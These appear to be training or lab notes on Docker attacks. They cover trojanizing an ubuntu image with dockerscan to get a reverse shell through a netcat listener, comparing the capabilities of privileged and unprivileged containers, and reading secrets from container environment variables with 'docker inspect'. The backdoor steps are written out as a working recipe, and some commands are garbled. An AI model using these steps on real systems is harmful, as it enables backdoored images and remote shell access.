**Reverse shell by Creating backdoors in the existing images: ( Attack using remote code execution)**

1. Installing dockerscan: python3.5 -m pip install dockerscan
2. docker pull ubuntu:latest && docker save ubuntu:latest -o ubuntu-original (pulling a latest image from the repository)
3. export the following variables for dockerscan to work: export LC\_ALL=C.UTF-8, export LANG=C.UTF-8
4. dockerscan image modify trojanize ubuntu-original -l 172.17.0.1 -p 4444 -o ubuntu-original-trojanized (creating a backdoor on remote machine ip and listening on port 4444 of the ubuntu original image)
5. nc -v -k -l 172.17.0.1 4444 ( netcat listener)
6. to load the trojanized image : docker load -i ubuntu-original-trojanized.tar
7. To run the trojazined image : docker run -it ubuntu:latest /bin/bash
8. Listen on the port 4444 and we will receive a reverse shell

**Privileged flag:**

Here we will create a container without privileged flag 1st and check the list of capabilities it has by default. Later, we will create another container privileged flag and check the list of capabilities it will acquire.

1. docker run -itd alpine (running an alpine image without privilege flag)
2. docker exec -it containerid sh ( used to create a shell inside the container)
3. apk add -U libcap (to install capability viewer)
4. capsh –print

cap\_chown,cap\_dac\_override,cap\_fowner,cap\_fsetid,cap\_kill,cap\_setgid,cap\_setuid,cap\_setpcap,cap\_net\_bind\_service,cap\_net\_raw,cap\_sys\_chroot,cap\_mknod,cap\_audit\_write,cap\_setfcap=eip

Bounding set =cap\_chown,cap\_dac\_override,cap\_fowner,cap\_fsetid,cap\_kill,cap\_setgid,cap\_setuid,cap\_setpcap,cap\_net\_bind\_service,cap\_net\_raw,cap\_sys\_chroot,cap\_mknod,cap\_audit\_write,cap\_setfcap

1. docker run -itd --privileged alpine (create an image with privileged flag)
2. repeat from step 2

=eip

Bounding set =cap\_chown,cap\_dac\_override,cap\_dac\_read\_search,cap\_fowner,cap\_fsetid,cap\_kill,cap\_setgid,cap\_setuid,cap\_setpcap,cap\_linux\_immutable,cap\_net\_bind\_service,cap\_net\_broadcast,cap\_net\_admin,cap\_net\_raw,cap\_ipc\_lock,cap\_ipc\_owner,cap\_sys\_module,cap\_sys\_rawio,cap\_sys\_chroot,cap\_sys\_ptrace,cap\_sys\_pacct,cap\_sys\_admin,cap\_sys\_boot,cap\_sys\_nice,cap\_sys\_resource,cap\_sys\_time,cap\_sys\_tty\_config,cap\_mknod,cap\_lease,cap\_audit\_write,cap\_audit\_control,cap\_setfcap,cap\_mac\_override,cap\_mac\_admin,cap\_syslog,cap\_wake\_alarm,cap\_block\_suspend,cap\_audit\_read (dangerous capabilities)

**Docker remote API:**

1. sudo apt install nmap
2. sudo apt install jg
3. sudo apt install openssh-server
4. /lib/systemd/system/docker.service

**Accessing docker secrets:**

1. Dockerfile:

ROM mysql/mysql-server:latest

ENV MYSQL\_ROOT\_PASSWORD=toor

ENV MYSQL\_DATABASE=users

ENV MYSQL\_USER=root

ENV MYSQL\_PASSWORD=toor

ENV MYSQL\_ROOT\_HOST=mysql-db

1. docker run -it db sh
2. after entering into the shell, use “env” to view all environmental variables
3. docker inspect (used to get the whole data belonged to environmental variables
4. docker inspect db -f "{{json .Config.Env}}" (to extract only env variables)

To prevent alpine containers from running as root, use docker run –user=1000:1000 alpine or docker run -itd –user=1001:1001 alpine